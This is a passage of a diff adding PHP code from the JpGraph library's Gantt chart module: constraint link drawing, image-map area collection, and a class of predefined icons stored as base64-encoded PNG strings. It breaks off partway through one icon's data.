+				    $link = new GanttLink($c1[0],$c1[3],$c2[0],$c2[1]);
+				}
+				else {
+				    $link = new GanttLink($c1[0],$c1[1],$c2[0],$c2[3]);
+				}
+				$link->SetPath(3);
+				break;
+			    default:
+				JpGraphError::RaiseL(6009,$this->iObj[$i]->iVPos,$vpos);
+//('Unknown constrain type specified from row='.$this->iObj[$i]->iVPos.' to row='.$vpos);
+				break;
+			}
+
+			$link->SetColor($this->iObj[$i]->constraints[$k]->iConstrainColor);
+			$link->SetArrow($this->iObj[$i]->constraints[$k]->iConstrainArrowSize,
+					$this->iObj[$i]->constraints[$k]->iConstrainArrowType);
+ 
+			$link->Stroke($this->img);
+		    }
+		}
+	    }
+	}
+    }
+
+    function GetCSIMAreas() {
+	if( !$this->iHasStroked )
+	    $this->Stroke(_CSIM_SPECIALFILE);
+ 
+	$csim = $this->title->GetCSIMAreas();
+	$csim .= $this->subtitle->GetCSIMAreas();
+	$csim .= $this->subsubtitle->GetCSIMAreas();
+
+	$n = count($this->iObj);
+	for( $i=$n-1; $i >= 0; --$i ) 
+	    $csim .= $this->iObj[$i]->GetCSIMArea();
+	return $csim;
+    }
+}
+
+//===================================================
+// CLASS PredefIcons
+// Description: Predefined icons for use with Gantt charts
+//===================================================
+define('GICON_WARNINGRED',0);
+define('GICON_TEXT',1);
+define('GICON_ENDCONS',2);
+define('GICON_MAIL',3);
+define('GICON_STARTCONS',4);
+define('GICON_CALC',5);
+define('GICON_MAGNIFIER',6);
+define('GICON_LOCK',7);
+define('GICON_STOP',8);
+define('GICON_WARNINGYELLOW',9);
+define('GICON_FOLDEROPEN',10);
+define('GICON_FOLDER',11);
+define('GICON_TEXTIMPORTANT',12);
+
+class PredefIcons {
+    private $iBuiltinIcon = null, $iLen = -1 ;
+
+    function GetLen() {
+	return $this->iLen ; 
+    }
+
+    function GetImg($aIdx) {
+	if( $aIdx < 0 || $aIdx >= $this->iLen ) {
+	    JpGraphError::RaiseL(6010,$aIdx);
+//('Illegal icon index for Gantt builtin icon ['.$aIdx.']');
+	}
+	return Image::CreateFromString(base64_decode($this->iBuiltinIcon[$aIdx][1]));   
+    }
+
+    function PredefIcons() {
+	//==========================================================
+	// warning.png
+	//==========================================================
+	$this->iBuiltinIcon[0][0]= 1043 ;
+	$this->iBuiltinIcon[0][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsSAAALEgHS3X78AAAA'.
+	    'B3RJTUUH0wgKFSgilWPhUQAAA6BJREFUeNrtl91rHFUYh5/3zMx+Z5JNUoOamCZNaqTZ6IWIkqRiQWmi1IDetHfeiCiltgXBP8AL'.
+	    '0SIUxf/AvfRSBS9EKILFFqyIH9CEmFZtPqrBJLs7c+b1YneT3WTTbNsUFPLCcAbmzPt73o9zzgzs2Z793231UOdv3w9k9Z2uzOdA'.
+	    '5+2+79yNeL7Hl7hw7oeixRMZ6PJM26W18DNAm/Vh7lR8fqh97NmMF11es1iFpMATqdirwMNA/J4DpIzkr5YsAF1PO6gIMYHRdPwl'.
+	    'oO2elmB+qH3sm7XozbkgYvy8SzYnZPtcblyM6I+5z3jQ+0vJfgpEu56BfI9vUkbyi2HZd1QJoeWRiAjBd4SDCW8SSAOy6wBHMzF7'.
+	    'YdV2A+ROuvRPLfHoiSU0EMY/cDAIhxJeGngKaN1VgHyPL7NBxI1K9P4QxBzw3K1zJ/zkG8B9uwaQ7/HNsRZv9kohBGD0o7JqMYS/'.
+	    '/ynPidQw/LrBiPBcS/yFCT95DvB2BWAy4575PaQbQKW+tPd3GCItu2odKI++YxiKu0d26oWmAD7paZU/rLz37VqIijD2YbnzNBBE'.
+	    'IBHf8K8qjL7vYhCGErEU8CTg3xXAeMp96GrJEqkyXkm9Bhui1xfsunjdGhcYLq+IzjsGmBt5YH/cmJkFq6gIqlon3u4LxdKGuCIo'.
+	    'Qu41g0E41po+2R33Xt5uz9kRIB2UTle7PnfKrROP1HD4sRjZlq0lzhwoZ6rDNeTi3nEg1si/7FT7kYQbXS6E5E65tA5uRF9tutq0'.
+	    'K/VwAF+/FbIYWt6+tjQM/AqUms7A4Wy6d7YSfSNxgMmzi0ycWWworio4QJvj4LpuL5BqugTnXzzqJsJwurrlNhJXFaavW67NRw3F'.
+	    'q+aJcCQVe9fzvJGmAY7/dPH0gi0f64OveGxa+usCuQMeZ0+kt8BVrX+qPO9Bzx0MgqBvs+a2PfDdYIf+WAjXU1ub4tqNaPPzRs8A'.
+	    'blrli+WVn79cXn0cWKl+tGx7HLc7pu3CSmnfitL+l1UihAhwjFkPQev4K/fSABjBM8JCaFuurJU+rgW41SroA8aNMVNAFtgHJCsn'.
+	    'XGy/58QVxAC9MccJtZ5kIzNlW440WrJ2ea4YPA9cAooA7i0A/gS+iqLoOpB1HOegqrYB3UBmJrAtQAJwpwPr1Ry92wVlgZsiYlW1'.
+	    'uX1gU36dymgqYxJIJJNJT1W9QqHgNwFQBGYqo94OwHZQUuPD7ACglSvc+5n5T9m/wfJJX4U9qzEAAAAASUVORK5CYII=' ; 
+
+	//==========================================================
+	// edit.png
+	//==========================================================
+	$this->iBuiltinIcon[1][0]= 959 ;
+	$this->iBuiltinIcon[1][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAABGdBTUEAALGPC/xhBQAAAAZiS0dEAFgAWABY9j+ZuwAAAAlwSFlz'.
+	    'AAALEAAACxABrSO9dQAAAAd0SU1FB9AKDAwbIEXOA6AAAAM8SURBVHicpdRPaBxlHMbx76ZvsmOTmm1dsEqQSIIsEmGVBAQjivEQ'.
+	    'PAUJngpWsAWlBw8egpQepKwplN4ULEG9CjkEyUFKlSJrWTG0IU51pCsdYW2ncUPjdtp9Z+f3vuNhu8nKbmhaf5cZeGc+PO8zf1Lc'.
+	    'm0KhkACICCKCMeaBjiLC0tLSnjNvPmuOHRpH0TZTU1M8zBi9wakzn7OFTs5sw8YYACYmJrre7HkeuVyu69qPF77hlT1XmZ0eQ03O'.
+	    'wOLJTvhBx1rLz18VmJ0eY+jVd2FxDkKXnvYLHgb97OgLzE4ON9Hzc1B1QaQzsed5O0Lta3Ec89OnR5h5McfQ+Mw2qgQUnfBOPbZ3'.
+	    'bK3l+xOvMT0+3ERLp5FNF6UEjcL32+DdVmGt5WLhDYYPZrbRqreFumXwql0S3w9tnDvLWD5PZigPpdOwuYpSCo3C8wU3UHxQdHbf'.
+	    'cZIkNM6dxcnlUM4k1eUFMlUPpUADbpkttFarHe6oYqeOr6yt4RzMQHYUcUsQVtGicHDwKprViuLDkkOtVnsHCHZVRVy/zcj1i5Af'.
+	    'h8AjdIts+hUcGcYPK3iBtKM3gD/uAzf/AdY2mmmVgy6X8YNNKmGIvyloPcB8SUin07RQ4EZHFdsdG0wkJEnEaHAJxvKEpSLeaokV'.
+	    'r4zWmhUZYLlY4b1D03y5eIEWCtS7vsciAgiIxkQRabWOrlQor66y4pUphoJb1jiO4uO5o0S3q6RSqVbiOmC7VCEgAhLSaDQ48dH7'.
+	    'vD46REY0iysegSjKQciRt99ib7qXwX0O+pG4teM6YKHLB9JMq4mTmF9/+AKA4wvLZByH7OgYL7+UY2qvw/7Bfg5kHiXjJFyv3CGO'.
+	    'Y1rof+BW4t/XLiPG0DCGr79d4XzRxRnIMn98huXSTYyJ6et1UNYQhRvcinpJq86H3wGPPPM0iBDd+QffD1g4eZjLvuG7S1Wef26E'.
+	    'J7L7eSx7gAHVg7V3MSbi6m/r93baBd6qQjerAJg/9Ql/XrvG0ON1+vv7GH3qSfY5fahUnSTpwZgIEQesaVXRPbHRG/xyJSAxMYlp'.
+	    'EOm71HUINiY7mGb95l/8jZCyQmJjMDGJjUmsdCROtZ0n/P/Z8v4Fs2MTUUf7vYoAAAAASUVORK5CYII=' ; 
+
+	//==========================================================
+	// endconstrain.png
+	//==========================================================
+	$this->iBuiltinIcon[2][0]= 666 ;
+	$this->iBuiltinIcon[2][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAABGdBTUEAALGPC/xhBQAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlz'.
+	    'AAALDwAACw8BkvkDpQAAAAd0SU1FB9ALEREILkh0+eQAAAIXSURBVHictZU9aFNRFMd/N81HX77aptJUWmp1LHRpIcWhg5sIDlUQ'.
+	    'LAXB4t7RRUpwEhy7iQ46CCIoSHcl0CFaoVARU2MFMYktadLXJNok7x2HtCExvuYFmnO4w/3gx+Gc/z1HKRTdMEdXqHbB/sgc/sic'.
+	    'nDoYAI8XwDa8o1RMLT+2hAsigtTvbIGVqhX46szUifBGswUeCPgAGB7QeLk0X4Ork+HOxo1VgSqGASjMqkn8W4r4vVtEgI/RRQEL'.
+	    'vaoGD85cl5V3nySR/S1mxWxab7f35PnntNyMJeRr9kCMqiHTy09EoeToLwggx6ymiMOD/VwcD7Oa/MHkcIiQx026WGYto5P/U+ZZ'.
+	    '7gD0QwDuT5z9N3LrVPi0Xs543eQPKkRzaS54eviJIp4tMFQFMllAWN2qcRZHBnixNM8NYD162xq8u7ePSQ+GX2Pjwxc2dB2cLtB8'.
+	    '7GgamCb0anBYBeChMtl8855CarclxU1gvViiUK4w2OMkNDnGeJ8bt9fH90yOnOkCwLFTwhzykhvtYzOWoBBbY//R3dbaNTYhf2RO'.
+	    'QpeuUMzv188MlwuHy0H13HnE48UzMcL0WAtUHX8OxZHoG1URiFw7rnLLCswuSPD1ulze/iWjT2PSf+dBXRFtVVGIvzqph0pQL7VE'.
+	    'avXYaXXxPwsnt0imdttCocMmZBdK7YU9D8wuNOW0nXc6QWzPsSa5naZ1beb9BbGB6dxGtMnXAAAAAElFTkSuQmCC' ; 
+
+	//==========================================================
+	// mail.png
+	//==========================================================
+	$this->iBuiltinIcon[3][0]= 1122 ;
+	$this->iBuiltinIcon[3][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAABGdBTUEAALGPC/xhBQAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlz'.
+	    'AAALEAAACxABrSO9dQAAAAd0SU1FB9AJHAMfFvL9OU8AAAPfSURBVHictZRdaBRXFMd/987H7tbNx8aYtGCrEexDsOBDaKHFxirb'.
+	    'h0qhsiY0ykppKq1osI99C4H2WSiFFMHWUhXBrjRi0uCmtSEUGgP1QWqhWjGkoW7M1kTX3WRn5p4+TJJNGolQ6IXDnDtz+N0z/3PP'.
+	    'UWBIpdpYa23b9g09PZ2kUrOrvmUyGVKp1Ao/mUyi56YnVgWfO/P1CihAd/dJMpmaNROIRq8BkM1m0bH6TasC3j6QXgFdXI+DR6PR'.
+	    'JX/Pno8B+KLnMKqlpUU8z8MYs2RBEDzWf9J+0RcRbMdxGBsbw/fmCXwPMUEYID4iAVp8wIRmDIHMo4yHSIBSASKC+CWE0C/PF9jU'.
+	    '3B6Cp+4M07C5FUtKGNvGwQJctPgIsgD2wRhEIqAMGB+UQYkHJgYYZD7P1HwVlmWhHcfhyk83KeRGUW4t6CgoG5SNUS4KBWgQDUov'.
+	    '7AGlwYASBVqH0Bk49dXpCviVV3dw/tI1Bvr7kMIIlh0NYUpjlF0BAYvcxSXmEVLKceHSCJm+PnbueBHbtkNwTXUNBzo6aGpq4sSZ'.
+	    'GwT5H7BsF6Wdf1GWHQAoM0upeI9PT1yioS7B7tdaSdSuw7KsUGMAy7HYsmUztTW1nMwM0txssX1rlHjjS5jy/Uq2YkK/eJuLl6/z'.
+	    'x+1xkslW6mrixGIODx8EFSlEBC0+tmXT0NhA2763iEUjnLv4C8XpUbSbAB1mKkGJ3J83Od77HW5EszvZSqK2iljMIeJaRGNuJePF'.
+	    '6mspY7BJ1DXwQnCd2fxGRq5OUCz8xt72dyhMZcn++Cu3xu9SKhdp2b4ZHWnAtTSxmIWlhcIjlksR3lNBYzlxZsb7+f7ne+xtSzOd'.
+	    'u83szH1OnThOPp/n+a0beeP1l4mvq+PU2Qyd+5PY1RuwlAqLYFaBfbTbyPSdfgaH77A//QF4f1O/vpr6RJyq+C5Kc/M8FbFxXItY'.
+	    'xOHDrvfo/fxLDnbsJBp5BowBReVWYAzabeTh5ABDw7cWoNNL3YYYNtSv57lnn6Z+Qx01VeuIuBa2DV1HD3H63BAPZu4u1WGpeLHq'.
+	    'Rh7+NcjA0O+0p4+CNwXigwnbWlQQdpuEpli+n+PIkcOc//YKuckJJFh2K2anrjFw+QZt6S6kPImIF/b+cqAJD1LihWAxC61twBTo'.
+	    'fPcQF/oGsVW5ovHQlavs2/8+uYnRVSOUgHAmmAClBIOBwKC0gPjhIRgEIX2wg7NnwpZW3d3d4vs+vu8TBMGK51rvPM9b8hdteZxd'.
+	    'LBbVR8feJDs0Rlv6GFKeXJ21rNRXESxMPR+CBUl0nN7PjtO+dye7Up/8v1I88bf/ixT/AO1/hZsqW+C6AAAAAElFTkSuQmCC' ; 
+
+	//==========================================================
+	// startconstrain.png
+	//==========================================================
+	$this->iBuiltinIcon[4][0]= 725 ;
+	$this->iBuiltinIcon[4][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAABGdBTUEAALGPC/xhBQAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlz'.
+	    'AAALDgAACw4BQL7hQQAAAAd0SU1FB9ALEREICJp5fBkAAAJSSURBVHic3dS9a1NRGMfx77kxtS+xqS9FG6p1ER3qVJpBQUUc3CRU'.
+	    'BwURVLB1EAuKIP0THJQiiNRJBK3iJl18AyeltRZa0bbaJMbUNmlNSm5e7s25j0NqpSSmyag/OMM9POdzDuflwn8djz8gClVRrVEV'.
+	    'ur4Bl1FTNSzLrSS6vbml0jUUwSXj8Qfk3PkLtLW2AeBIybmrgz3+gFzpucjlE4f4btuFTuWuCF5XDr3a3UPf6cM8GQvxzbsRAJdh'.
+	    'ScfxSywml5j7mVypN0eGEJ0tebIre+zxB6Tv7jPReS2hREpOvpmUXU+H5eC913JnNCSRVE60pUVbWoZjprR39Yq70bdqj4pW7PEH'.
+	    '5FpvL9e79jOTTHM7ssDL6CJZ08LbvAGnrpZg2mI2Z/MlZfN8IkxuSwu4V9+WIrj7zFlOHfXzKrLIi2SGh5ECKjnNVNxkQEc55vOw'.
+	    'rb6O8JLFdHyJ+ayFElUeHvjwkfteL/V7fKTSkFvIQE4DoLI2Mz/muTkTApcBKIwaN8pwIUrKw+ajWwDknAO0d/r4zFaMuRS63sWm'.
+	    'RoOdm+vRIriUYjKexrQV+t1o0YEVwfZSVJmD/dIABJuO0LG3lRFx0GOfiAELE9OgCrfU0XnIp5FwGLEy5WEAOxlR5uN+ARhP7GN3'.
+	    '5w7Gv4bQI2+xpt4jjv2nWBmIlcExE2vDAHYioszBZXw6CPE4ADoWVHmd/tuwlZR9eXYyoszBfpiNQqaAOU5+TXRN+DeeenADPT9b'.
+	    'EVgKVsutKPl0TGWGhwofoquaoKK4apsq/tH/e/kFwBMXLgAEKK4AAAAASUVORK5CYII=' ; 
+
+	//==========================================================
+	// calc.png
+	//==========================================================
+	$this->iBuiltinIcon[5][0]= 589 ;
+	$this->iBuiltinIcon[5][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAABGdBTUEAALGPC/xhBQAAAAZiS0dEAA4AIwBbgMF12wAAAAlwSFlz'.
+	    'AAALEQAACxEBf2RfkQAAAAd0SU1FB9AHBxQeFsqn0wQAAAHKSURBVHicnZWff+RAGIef3U/gcOEgUAgUCgcLhYXCwsHBQeGgUDgs'.
+	    'FgMHB4VA/4Bg4XChWFgIFIqBwkJhsRAYeOGF+TQHmWSTTbKd9pU37/x45jvfTDITXEynAbdWKVQB0NazcVm0alcL4rJaRVzm+w/e'.
+	    '3iwAkzbYRcnnYgI04GCvsxxSPabYaEdt2Ra6D0atcvvvDmyrMWBX1zPq2ircP/Tk98DiJtjV/fim6ziOCL6dDHZNhxQ3arIMsox4'.
+	    'vejleL2Ay9+jaw6A+4OSICG2cacGKhsGxg+CxeqAQS0Y7BYJvowq7iGMOhXHEfzpvpQkA9bLKgOgWKt+4Lo1mM9hs9m17QNsJ70P'.
+	    'Fjc/O52joogoX8MZKiBiAFxd9Z1vcj9wfSpUlDRNMcYQxzFpmnJ0FPH8nDe1MQaWSz9woQpWSZKEojDkeaWoKAyr1tlu+s48wfVx'.
+	    'u7n5i7jthmGIiEGcT+36PP+gFeJrxWLhb0UA/lb4ggGs1T0rZs0zwM/ZjNfilcIY5tutPxgOW3F6dUX464LrKILLiw+A7WErrl+2'.
+	    'rABG1EL/BilZP8DjU2uR4U+2E49P1Z8QJmNXUzl24A9GBT0IruCfi86d9x+D12RGzt+pNAAAAABJRU5ErkJggg==' ; 
+
+	//==========================================================
+	// mag.png
+	//==========================================================
+	$this->iBuiltinIcon[6][0]= 1415 ;
+	$this->iBuiltinIcon[6][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAABGdBTUEAALGPC/xhBQAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlz'.
+	    'AAALDAAACwwBP0AiyAAAAAd0SU1FB9ALDxEWDY6Ul+UAAAUESURBVHicdZVrbFRFGIafsyyF0nalV1R6WiggaAptlzsr1OgEogmC'.
+	    '0IgoBAsBgkIrBAPEhBj/AP6xRTCUFEwRI4jcgsitXMrFCJptJWvBNpXYbbXtbtttt6e7e86ec/yxadlCfZPJZDIz73zzzjfvR2VL'.
+	    'F7U+hf0HD2JduIzTFy6SlJRkPtkcDgdCCE65OxFC8NPV6wghyM7OptankJ2dzbSC5QghEEIgCSHog9PpNAF27dlN6miZuPgElB4/'.
+	    'nmY3O7ZtByA1NVUCkGWZweD1eklJScESTbqxuIjrd+/x6uIl5M19hSy7nfGOeUxf+g7VjU1sKi7C4/GYsiyz7tAJAD4/cRaA1tZW'.
+	    'AHIPnECUVGD1+/3U19ebG4uLeHf1akamjsIwoVnVCOvQEdLoVILYYmMo3PIxSBJflpSaDX5FAmju1QAYv/8k/s8+wLVxOU0jR2LZ'.
+	    '8sMFAApWrCApbRRDrRZirBYSLBKaoRPQw3SFernf2sav7T0Ubt4KwL4FMwF4Vu8FoHBCKgCzDhwHwLIhZ7y5a89u4m2JhA0wTdDC'.
+	    'OrphEjJMNElCHxKDEjaobmvlfo/Krj27CQQCJsCGJW8C0KXqAMxMiosQA8hZWcTFx9OsaniDKh1qmG7VoFsL0x0K06kbeAMhWpRe'.
+	    '/KpG+gwHAKUnz7Dz3BUMw6DK18nuw99wt0Nh6VdHI8RJicmETQgFg7SFwjSrGv+oKp6ghldV6dZ0ugJBlF6FmCESQ2w2AIqXLsan'.
+	    'BrFYLJTnTCBrdBqveeopWZiPFaBHUegJhegMqGgxEkHDwB/UaQ9rdIV06v0+TD2EEQjQFtAY0dsNgNvt5sialQAIIXh7wQKuVf6J'.
+	    'gTsSccPDWlQstClBGjr9eHpVWvUQncEwdYEedF8noQ4vmYmpZMTH0nTvDn25vLbrNmu7bvfnsYEbAMnhcPDgwQPzUo2LJusw/mhp'.
+	    'QwlHNO0KBAnoIfxtrcQMT2De1Mm891wyUzNlUlJSpIyMDBobGzlzr5rFM/Koq6vrP8ASGxsLwPmKcvIShjPGZiPOakE3VFB8hHwd'.
+	    'vJAxhrk5L7Ly+RQuH/sWgPdXrwFg/6HDFBUsIj09nehfbAWwPWOT9n5RYhqGwarNWxkRM5TRCfF4U1PQsDDJFk9uYhwXvzvKjm3b'.
+	    'KSsro3DJInNW5RXp7u2bAKSlpeH1esnPz6eqqgqLpmmcr3Fht9ulfaV7mZk1Bs+lM6T1djM9fhg5egDPpTNMy5TZsW07kydPYdWM'.
+	    'aXx96ixOp9O8cfUa80srmDpjOgAulytiQqZpMnvObLbt/JTtHxXj9/tRVdU0DGOAufRpevPDTeac0hJyc3NxOOawfv161lVWS6eX'.
+	    'z+9/UOCxu1VWVvaTRGv16NFfjB2bNeAQp9NpTpmSM4DcbrdL0WsGDKLRR+52uwe1yP8jb2lpYfikyY9t80n03UCWZeaXVjw1f+zs'.
+	    'Oen+/d+pqanhzp2fKSsrw+l0mi6XiyPl5ZGITdN8fAVJwjRNJEmi1qfw1kw7siyTnJxMe3s71dXV3GpoZO64DG41NPJylvxU5D/e'.
+	    'qJKsfWQD9IkaZ2RmUvr9aV4aGYcQgjfO3aWoYBF5eXm4ewIsu/CbdPz1aWb0/p1bNoOrQxlUiuiaFo3c3FyEEOx9+C9CCD6paaTW'.
+	    'p/TXyYkTJ0Xe59jf7QOyAKDWp/QXxcFQ61P4pT3ShBBcvnUHIQTjxmX19/8BCeVg+/GPpskAAAAASUVORK5CYII=' ; 
+
+	//==========================================================
+	// lock.png
+	//==========================================================
+	$this->iBuiltinIcon[7][0]= 963 ;
+	$this->iBuiltinIcon[7][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAABGdBTUEAALGPC/xhBQAAAAZiS0dEAAAAAAAA+UO7fwAAAAlwSFlz'.
+	    'AAALCwAACwsBbQSEtwAAAAd0SU1FB9AKAw0XDmwMOwIAAANASURBVHic7ZXfS1t3GMY/3+PprI7aisvo2YU6h6ATA8JW4rrlsF4U'.
+	    'qiAsF9mhl0N2cYTRy9G/wptAYWPD9iJtRy5asDe7cYFmyjaXOLaMImOrmkRrjL9yTmIS3120JybWQgfb3R74wuc8Lzw858vLOUpE'.
+	    'OK6pqSm2trbY39+nu7tbPHYch7m5OcLhMIA67kWj0aMQEWk6tm17rNm2LSIie3t7ksvlJJ1OSyqVkls3Z8SyLMnlcqTTaVKpFLdu'.
+	    'zmBZVj1HeY2VUti2TSQSQSml2bZdi0QirK2tMT09zerqKtlslqGhISYnJ4nHv2N+foFsNquOe9FotLlxOBwmk8lgWRbhcFgymYxY'.
+	    'liUi0mqaJoAuIi2macrdO7fFsizx3to0Te7euV1vrXtXEgqFmJmZYWVlhXK5LB4/U9kwDL784kYV0A3DYHd3m4sXRymXywKoRi8U'.
+	    'Ch01DgQCJBIJLMsiEAhIIpHw2uLz+eqtYrEYIqKZpimxWEyCwaCMjY01zYPBIJpXqVQqsby8TLVabWKA/v5+RkZGMAyDrq4ulFKH'.
+	    'HsfjcWZnZ+ns7KTRqwcnk0mKxSKFQqGJlVKtruuSTCYB6O3trW9UI/v9/iZPB/j8s2HOnX0FgHfeXpeffnzK+fWf+fijvhLs0PtG'.
+	    'D/n1OJ9+MsrlSwb3733DwMCAt1EyPj6uACYmJp56168NU6nUqFSE9nZdPE7+WqC/r4NKTagcCJVqDaUUB5VDAA4Pa9x7sMLlSwan'.
+	    'WjRmv13D7/erpaWlo604qOp88OF7LC48rPNosMq5Th+Dgxd4/XyA1rbzADi7j8jnf2P++wdcvSr8MJ/i8eomAKlUqn41OsDAQDeD'.
+	    'g++yuPCwzm/2vU8+n2a7sMFfj79mp7BBuVzioFSiXHJx3SKuW2Rzy0Up9dxnQVvODALQerqNRn4ZKe0Mvtc6TpzpmqbxalcY9Ato'.
+	    '2v06t515C73YQftZB9GLnDrt4LoujuPgOA4Ui+C6yOpXJwZrJ7r/gv4P/u+D9W7fLxTz+1ScQxrZ3atRLaVxdjbY2d184R6/sLHe'.
+	    'opHP7/Do90Ua+WWUyezzZHObP/7cfX54/dowE1d66s8TV3oE+Mfn+L/zb4XmHPjRG9YjAAAAAElFTkSuQmCC' ; 
+
+	//==========================================================
+	// stop.png
+	//==========================================================
+	$this->iBuiltinIcon[8][0]= 889 ;
+	$this->iBuiltinIcon[8][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAABGdBTUEAALGPC/xhBQAAAAZiS0dEAAAAAAAA+UO7fwAAAAlwSFlz'.
+	    'AAALDwAACw8BkvkDpQAAAAd0SU1FB9AJDwEvNyD6M/0AAAL2SURBVHic1ZTLaxVnGIefb2bO5OScHJN4oWrFNqcUJYoUEgU3/Qf6'.
+	    'F7gwCkIrvdBLUtqqiLhSg9bgBduFSHZdiG5ctkJ3xRDbUFwUmghNzBDanPGMkzOX79LFJGPMOSd204U/+Bbzvd/78F4H/ieJdoad'.
+	    'pZKxRFszAI/DcP0HazXY22v+HB01kee1PA/v3zfnjx4xgGnHcNZe7OvuNj+cOEF1ZATv5nUA4jhBSgmADCVWo8Ge2Of9wb18P/G7'.
+	    'oUXmYi30zqlTVEdGWLh1g2D6MYlKkXGE0Vl8aa2GEB149+4xXSzyoOIw/mimiZV/DPb25pFOj13A9gOMEChhUEqhVYqWKUk9QAUp'.
+	    'sT/P4s8PmKlUmNhQaIJbkDVqBbpw6wZ2zUc4Nm+ePku5p4eOrgpueQOFUoVCVxcD4+N07dpF9+5tVJeWGPBjhvr7WF1zC8ASgtcP'.
+	    'H8a7eZ1odh4sh50nzwCw9ZNh3M4Stutiu0X2nB/LyjZ6lcIbVTpdQU/jWVPzLADM8+ZGBRdtC7wrF/O7bR99iu26VL86iU4SAH4b'.
+	    'Po5d6AQhstMSvGyI4wS5FJBKSRwnzF8byx/u+PjzzMF1mfryQ1K/jnCahqp1xEopjFLoNEFJSRJHzF799gWHqa+/QKcSUXBI609f'.
+	    'Al5W4teQSiHDOipNUKnMI13RvnOXAIEKQixvGWya98SC560MFwPiqEG86JM8q79Q06lvhnOndy5/B6GPCUOMUu3BQgg8z0M3GmBZ'.
+	    'iGJn3v2VmsqnfzNx7FDueODuj8ROCFpjtG5TCmOYv32bJ09msP0ISydMfnAUgF8/O45RAA6WTPjlvXcB+Gn7FuRf/zAnNX6x3ARe'.
+	    'PSdmqL+P/YHkwMGDOGWDZTlQcNBRhPEComgB/YeHfq2InF1kLlXUOkpMbio1bd7aATRD/X0M1lPeSlM2vt2X1XBZjZnpLG2tmZO6'.
+	    'LbQVOIcP+HG2UauH3xgwBqOz9Cc3l1tC24Fz+MvUDroeGNb5if9H/1dM/wLPCYMw9fryKgAAAABJRU5ErkJggg==' ; 
+
+	//==========================================================
+	// error.png
+	//==========================================================
+	$this->iBuiltinIcon[9][0]= 541 ;
+	$this->iBuiltinIcon[9][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAACgAAAAoCAMAAAC7IEhfAAAAaVBMVEX//////2Xy8mLl5V/Z2VvMzFi/v1WyslKlpU+ZmUyMjEh/'.
+	    'f0VyckJlZT9YWDxMTDjAwMDy8sLl5bnY2K/MzKW/v5yyspKlpYiYmH+MjHY/PzV/f2xycmJlZVlZWU9MTEXY2Ms/PzwyMjLFTjea'.
+	    'AAAAAXRSTlMAQObYZgAAAAFiS0dEAIgFHUgAAAAJcEhZcwAACxIAAAsSAdLdfvwAAAAHdElNRQfTCAkUMSj9wWSOAAABLUlEQVR4'.
+	    '2s2U3ZKCMAxGjfzJanFAXFkUle/9H9JUKA1gKTN7Yy6YMjl+kNPK5rlZVSuxf1ZRnlZxFYAm93NnIKvR+MEHUgqBXx93wZGIUrSe'.
+	    'h+ctEgbpiMo3iQ4kioHCGxir/ZYUbr7AgPXs9bX0BCYM8vN/cPe8oQYzom3tVsSBMVHEoOJ5dm5F1RsIe9CtqGgRacCAkUvRtevT'.
+	    'e2pd6vOWF+gCuc/brcuhyARakBU9FgK5bUBWdHEH8tHpDsZnRTZQGzdLVvQ3CzyYZiTAmSIODEwzFCAdJopuvbpeZDisJ4pKEcjD'.
+	    'ijWPJhU1MjCo9dkYfiUVjQNTDKY6CVbR6A0niUSZjRwFanR0l9i/TyvGnFdqwStq5axMfDbyBksld/FUumvxS/Bd9VyJvQDWiiMx'.
+	    'iOsCHgAAAABJRU5ErkJggg==' ; 
+
+	//==========================================================
+	// openfolder.png
+	//==========================================================
+	$this->iBuiltinIcon[10][0]= 2040 ;
+	$this->iBuiltinIcon[10][1]=
+	    'iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABGdBTUEAALGPC/xhBQAAAAZiS0dEANAAtwClFht71AAAAAlwSFlz'.
+	    'AAALEAAACxABrSO9dQAAAAd0SU1FB9AKDQ4RIXMeaLcAAAd1SURBVHicxZd7jBXVHcc/58zcvTNzH8vusqw8FsTsKiCUUh5WBZXG'.
+	    'GkOptmqwNWsWLKXFGlEpzZI0AWNKSy0WhDS22gJKtWlTsSRqzYIuLGB2WVvDIwQMZQMsy2OFfdzde+/OnHP6x907vJaFpjb9JZM5'.
+	    'c85Mfp/f9/s7Jxn4P4e41gtSyp78WGvtfdEAcqDFYUOH9HS0NhGk9tPb/ilSyp789UUB2AMuqhQy3Uzm7HGkE6W3dTNZMRI3EcWO'.
+	    'jf9ClLmWBT3dzW8jUsevWHCG3UpWl+IkHSxnbDh/Mcz12NevBcuWXTmf6TjnXvJ88gDmVB3pw3+nt3UzHa1NqMzBS2zqPLGFjtMN'.
+	    'ZNr3XdW+qyqwZcFk76HX/tHWfuQvyO4W7qhaHwL8efkMRlRUpPv7rqD0RrJ+FgAjLy1a20OIxZJEEuNCRfIApj+om4bGM3u2/sYU'.
+	    '9J41d8973f3Dhg1pISTV1dXXBRNJxPGFCzhou+DCQrScZOkktNaeDZjamgeZ9MgiYmVDccvHhjAzJw0NTh8/alyZMaVJicp0iTHj'.
+	    'JpgNv38tjWUhhGROdbUL9W5/MH5XCkjlcibi+KIop5LVHLKEu8A/f4r286doa9pGrGwYAAsfqbbH3b8MgO/Nqgy6WvdbbXHMkEFJ'.
+	    '4xUOMVEvaTZu3BgmvF4Yk4hz9rO/Ulr5cE9owae/rcGxohSOuiWkC2IjcIqKyPZm+OmCH7GhoZEF077EEzVVweAbJ+riEeO0Ey8y'.
